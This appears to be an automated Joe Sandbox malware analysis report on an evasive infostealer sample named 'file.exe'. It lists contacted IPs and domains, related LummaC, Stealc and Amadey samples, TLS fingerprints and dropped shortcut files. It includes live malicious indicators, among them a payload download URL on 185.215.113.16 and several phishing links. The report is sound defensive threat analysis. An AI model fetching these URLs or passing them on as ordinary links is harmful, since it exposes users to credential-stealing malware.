https://cook-rain.sbs/3SozW	file.exe, 00000000.00000003.2246636498.0000000005DCD000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2202473444.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2178498338.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2228886477.0000000005DCD000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2178983232.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2203286340.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2178865913.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2180921966.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://octokit.github.io/rest.js/#throttling	chromecache_118.5.dr, chromecache_108.5.dr	false		high
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	file.exe, 00000000.00000003.2180957192.0000000005DD4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/js-cookie/js-cookie	chromecache_118.5.dr, chromecache_108.5.dr	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	file.exe, 00000000.00000003.2180957192.0000000005DD4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/def.exe	file.exe, 00000000.00000002.2487135569.00000000015F6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schema.org/Organization	chromecache_126.5.dr	false		high
https://channel9.msdn.com/	chromecache_118.5.dr, chromecache_108.5.dr	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.2122589038.0000000005D76000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2122467061.0000000005D79000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2122526565.0000000005D76000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/dotnet/try	chromecache_118.5.dr, chromecache_108.5.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.107.246.45	s-part-0017.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.107.246.44	s-part-0016.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
216.58.206.68	www.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
188.114.96.3	cook-rain.sbs	European Union	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.5

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1560184
Start date and time:	2024-11-21 14:25:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@24/67@7/7
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 2.22.50.144, 192.229.221.95, 216.58.206.46, 74.125.71.84, 216.58.212.131, 184.28.89.167, 88.221.170.101, 34.104.35.123, 142.250.185.234, 142.250.185.170, 142.250.181.234, 216.58.206.74, 142.250.186.138, 142.250.184.234, 142.250.186.170, 216.58.212.170, 142.250.184.202, 216.58.206.42, 142.250.185.106, 142.250.185.202, 142.250.185.74, 142.250.185.138, 142.250.186.74, 172.217.16.202, 2.19.126.137, 2.19.126.156, 142.250.185.163, 142.250.184.206
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, clientservices.googleapis.com, learn.microsoft.com, e11290.dspg.akamaiedge.net, mdec.nelreports.net.akamaized.net, go.microsoft.com, clients2.google.com, ocsp.digicert.com, star-azurefd-prod.trafficmanager.net, a1883.dscd.akamai.net, learn.microsoft.com.edgekey.net, update.googleapis.com, clients1.google.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, ctldl.windowsupdate.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, edgedl.me.gvt1.com, e13636.dscb.akamaiedge.net, learn-public.trafficmanager.net, go.microsoft.com.edgekey.net, clients.l.google.com, wcpstatic.microsoft.com
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
08:26:08	API Interceptor	47x Sleep call for process: file.exe modified

LLM Input / Output

Input	Output
URL: https://microsoft.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://microsoft.com
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "Yes", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false }

URL: https://learn.microsoft.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://learn.microsoft.com
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "Register now", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	```json{ "legit_domain": "microsoft.com", "classification": "wellknown", "reasons": [ "The URL 'learn.microsoft.com' is a subdomain of 'microsoft.com', which is the legitimate domain for Microsoft.", "Microsoft is a well-known brand with a strong online presence.", "The URL does not contain any suspicious elements such as misspellings, extra characters, or unusual domain extensions.", "The subdomain 'learn' is commonly used by Microsoft for educational and documentation purposes." ], "riskscore": 1}
URL: learn.microsoft.com Brands: Microsoft Input Fields: u, n, k, n, o, w, n

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
13.107.246.45	https://pcefan.com/diary/index.php?st-manager=1&path=/click/track&id=4973&type=ranking&url=http://nam.dcv.ms/BxPVLH2cz4	Get hash	malicious	HTMLPhisher	Browse	nam.dcv.ms/BxPVLH2cz4
13.107.246.44	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	https://www.google.co.ao/url?Obdy=ObM8wNGVUva21gnTm3qS&cgsr=7knoOQwChvIkzgfn0TSm&sa=t&wofc=nQYL5DF797O1da77PTBQ&url=amp%2Fprimer-distrito-amvt.org%2F.r%2FiO8EME-SUREDANNaW50ZXJtb2RhbC5qYXhAc2VhYm9hcmRtYXJpbmUuY29t	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	https://www.bing.com/ck/a?!&&p=5ceef533778c3decJmltdHM9MTcyMzQyMDgwMCZpZ3VpZD0zNjRmNjVlOC1lNTZjLTYxOWQtMTI1Ny03MTNlZTQyYTYwMTImaW5zaWQ9NTE0MA&ptn=3&ver=2&hsh=3&fclid=364f65e8-e56c-619d-1257-713ee42a6012&u=a1aHR0cHM6Ly9sZXhpbnZhcmlhbnQuY29tLw#aHR0cHM6Ly9HMTAuZHpwdndvYnIucnUvdkd5c2dQdC8=	Get hash	malicious	Unknown	Browse
	NoteID [4962398] _Secure_Document_Mrettinger-46568.docx	Get hash	malicious	HTMLPhisher	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
185.215.113.16	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cook-rain.sbs	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
s-part-0016.t-0009.t-msedge.net	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.44
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.44
	https://www.google.co.ao/url?Obdy=ObM8wNGVUva21gnTm3qS&cgsr=7knoOQwChvIkzgfn0TSm&sa=t&wofc=nQYL5DF797O1da77PTBQ&url=amp%2Fprimer-distrito-amvt.org%2F.r%2FiO8EME-SUREDANNaW50ZXJtb2RhbC5qYXhAc2VhYm9hcmRtYXJpbmUuY29t	Get hash	malicious	Unknown	Browse	13.107.246.44
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	13.107.246.44
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.44
	https://www.bing.com/ck/a?!&&p=5ceef533778c3decJmltdHM9MTcyMzQyMDgwMCZpZ3VpZD0zNjRmNjVlOC1lNTZjLTYxOWQtMTI1Ny03MTNlZTQyYTYwMTImaW5zaWQ9NTE0MA&ptn=3&ver=2&hsh=3&fclid=364f65e8-e56c-619d-1257-713ee42a6012&u=a1aHR0cHM6Ly9sZXhpbnZhcmlhbnQuY29tLw#aHR0cHM6Ly9HMTAuZHpwdndvYnIucnUvdkd5c2dQdC8=	Get hash	malicious	Unknown	Browse	13.107.246.44
	NoteID [4962398] _Secure_Document_Mrettinger-46568.docx	Get hash	malicious	HTMLPhisher	Browse	13.107.246.44
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.44
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.44
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.44
s-part-0017.t-0009.t-msedge.net	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	13.107.246.45
	ceFgl3jkkk.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	Unknown	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.45
	Request for Quotation MK FMHS.RFQ.24.11.21.bat.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	13.107.246.45
	APPENDIX FORM_N#U00b045013-20241120.com.exe	Get hash	malicious	Remcos, GuLoader	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	Payslip-21 November, 2024 ZmPQwjYq1NGSTsWga2.htm	Get hash	malicious	BlackHacker JS Obfuscator	Browse	13.107.246.45
	phish_alert_sp2_2.0.0.0.eml	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.44
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	Payslip-21 November, 2024 ZmPQwjYq1NGSTsWga2.htm	Get hash	malicious	BlackHacker JS Obfuscator	Browse	13.107.246.45
	phish_alert_sp2_2.0.0.0.eml	Get hash	malicious	HTMLPhisher	Browse	40.126.32.138
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	96c27caf-3816-d26f-4af5-19e1d76e6c15.eml	Get hash	malicious	HTMLPhisher	Browse	52.109.89.19
	https://cabinetstogollc-my.sharepoint.com/:b:/g/personal/store802_cabinetstogo_com/EYepBlB4QExJsG0U-4jKG4ABoZxLg7rdp0_zjjwabbUc1g?e=q4iRIE&com.microsoft.intune.mam.appmdmmgtstate=2&com.microsoft.intune.mam.policysource=2&com.microsoft.intune.mam.identity=mcle%40novozymes.com&com.microsoft.intune.mam.policy=1&com.micro	Get hash	malicious	Unknown	Browse	13.107.136.10
	+11375 Caller left Vc MsG 8b1538917f01661e6746a0528d545dbeac3b40a5- 73945.msg	Get hash	malicious	HtmlDropper	Browse	13.107.246.60
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.44
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	Payslip-21 November, 2024 ZmPQwjYq1NGSTsWga2.htm	Get hash	malicious	BlackHacker JS Obfuscator	Browse	13.107.246.45
	phish_alert_sp2_2.0.0.0.eml	Get hash	malicious	HTMLPhisher	Browse	40.126.32.138
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	96c27caf-3816-d26f-4af5-19e1d76e6c15.eml	Get hash	malicious	HTMLPhisher	Browse	52.109.89.19
	https://cabinetstogollc-my.sharepoint.com/:b:/g/personal/store802_cabinetstogo_com/EYepBlB4QExJsG0U-4jKG4ABoZxLg7rdp0_zjjwabbUc1g?e=q4iRIE&com.microsoft.intune.mam.appmdmmgtstate=2&com.microsoft.intune.mam.policysource=2&com.microsoft.intune.mam.identity=mcle%40novozymes.com&com.microsoft.intune.mam.policy=1&com.micro	Get hash	malicious	Unknown	Browse	13.107.136.10
	+11375 Caller left Vc MsG 8b1538917f01661e6746a0528d545dbeac3b40a5- 73945.msg	Get hash	malicious	HtmlDropper	Browse	13.107.246.60
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	188.114.97.3
	ceFgl3jkkk.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	Updated Invoice_0755404645-2024_pdf.exe	Get hash	malicious	Unknown	Browse	188.114.97.3
	estimate Cost.pdf	Get hash	malicious	Unknown	Browse	104.17.25.14
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	QUOTATION_NOVQTRA071244#U00b7PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	MV BBG MUARA Ship's Particulars.pdf.scr.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	CONTRACT COPY PRN00720387_pdf.exe	Get hash	malicious	GuLoader	Browse	188.114.97.3
	https://bitly.cx/aMW9O9	Get hash	malicious	Unknown	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	188.114.96.3
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	file.exe	Get hash	malicious	LummaC	Browse	23.1.237.91
	file.exe	Get hash	malicious	LummaC	Browse	23.1.237.91
	file.exe	Get hash	malicious	Cryptbot	Browse	23.1.237.91
	file.exe	Get hash	malicious	LummaC	Browse	23.1.237.91
	Fax-494885 Boswell Automotive Group.xlsx	Get hash	malicious	Unknown	Browse	23.1.237.91
	file.exe	Get hash	malicious	LummaC	Browse	23.1.237.91
	https://www.google.ca/url?q=30NUMBER&rct=44304277659948745221&sa=t&url=amp/s/estudioit.cl/starl/%23YmhpbmVzQGlubm92aWEuY29t	Get hash	malicious	Unknown	Browse	23.1.237.91
	file.exe	Get hash	malicious	LummaC	Browse	23.1.237.91
	https://etiv-tcaer.vercel.app/	Get hash	malicious	Unknown	Browse	23.1.237.91
	file.exe	Get hash	malicious	LummaC	Browse	23.1.237.91
28a2c9bd18a11de089ef85a160da29e4	http://bleedingofficecontagion.com	Get hash	malicious	Unknown	Browse	52.149.20.212 184.28.90.27 13.107.246.45
	estimate Cost.pdf	Get hash	malicious	Unknown	Browse	52.149.20.212 184.28.90.27 13.107.246.45
	https://bitly.cx/aMW9O9	Get hash	malicious	Unknown	Browse	52.149.20.212 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	52.149.20.212 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	52.149.20.212 184.28.90.27 13.107.246.45
	https://url.uk.m.mimecastprotect.com/s/1u4eCqxlyukZk7ltZfxHE-ELz?domain=andy-25.simvoly.com	Get hash	malicious	HTMLPhisher	Browse	52.149.20.212 184.28.90.27 13.107.246.45
	http://newvideozones.click	Get hash	malicious	Unknown	Browse	52.149.20.212 184.28.90.27 13.107.246.45
	https://waydetrainers.us/PC.PDF	Get hash	malicious	Unknown	Browse	52.149.20.212 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	52.149.20.212 184.28.90.27 13.107.246.45
	https://cardpayment.microransom.us/XYmdKR004c2prdTQ3eFRYdTZlUlAwSGhsclU2V3JnMWpuZ2h3Njg2emV0U3ZLY1Z4RkpNZm9HbkpHck9SNjFHb01Yem5jSDVSb2RmaXRIWUNvN2g1UHR4NlNzM05yeWg0R2VJSzhzSFlRVTN6UFZHYWpZSUxBeXpsYmtPMjFua1J5RFlLdm5OUVBGRnl2UWRxSjhpUFRwL1VXS1RqNEJjMmJwNkVPOVkvV2o3S3R0MkYzS1VXOG5uS1hHVll2eDdUb3hmcGtBb2VBTUdHc3hweEtXV25WRVZKdDBwWCtVZGtobzFsamp3PS0tYVREdUlIcWNwNFJ5RjAxci0tQWs2bGpCejYzaGsxMWJqSll4TWFNQT09?cid=293298779	Get hash	malicious	KnowBe4	Browse	52.149.20.212 184.28.90.27 13.107.246.45
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	188.114.96.3
	ceFgl3jkkk.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	MDE_File_Sample_37ce4d95fd579c36340b1d1490e2ef7623af4bb3.zip	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Nov 21 12:26:43 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9746510111894064
Encrypted:	false
SSDEEP:	48:82dGTi6+HvZidAKZdA19ehwiZUklqehqy+3:8f7KrFy
MD5:	911C858C99356B95ABB6D7DE31D4C7C8
SHA1:	9BE201293ED745DA62CFC505C2703A5A9CB04829
SHA-256:	DDC761789BD49500DD2174CA2F60F282E589BEF1A7113EC95924A81B5FC55D13
SHA-512:	FB9AE06A1CA7C36930E7AB1D17367C6967D8E7E0C229E9F70C0963BD0699B0073A264CAEC8FDBE2E3FBB9901E5EFC0EEDA14ABED45F0F68143BA953E4FCEAF02
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....x.s..<..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IuYTk....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VuYTk....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VuYTk....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VuYTk..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VuYVk...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........v..z.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Nov 21 12:26:43 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9946194701123745
Encrypted:	false
SSDEEP:	48:8adGTi6+HvZidAKZdA1weh/iZUkAQkqeh1y+2:8z7KZ9QYy
MD5:	8405BE29C069CF91C4251D32DEF53561
SHA1:	A9DACDB0BCD3A055328B6F0B117EEFBAD0ED7C62
SHA-256:	446082D70F8125AAAD4B989A9A52A84D74DAE571AD5BF25D9F2AEA4FF3627DB4
SHA-512:	CCF89995B614E047F1F6D934CAF5708B565C68CBC14F014CE18598B63B3C276A084E349B891C70FFEFA77D461B678E2393C81213E918CF0C0F71F08BDD57CC4C
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....B.[..<..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IuYTk....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VuYTk....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VuYTk....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VuYTk..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VuYVk...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........v..z.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.004466816383018
Encrypted:	false
SSDEEP:	48:8xDdGTi6sHvZidAKZdA14tseh7sFiZUkmgqeh7s7y+BX:8xA7gpnBy
MD5:	46627CC7E4B9FFE6DF83A6CD335EAE30
SHA1:	FBAB384E49E9EC4F2021746C100C7203319AD353
SHA-256:	30AFAC5F3EDF340AAABEEEF786D0918C970F93B84EA03515A9075DA134ADB61C
SHA-512:	A15990119F1A56F491513A83F122D2A8DE6C0080A317A59C0235ED00EC9E7EC7BA21003ECD0786E8808A7B8D443A476A1861C466844474EE26E57BAA492510AB
Malicious:	false
Reputation:	low
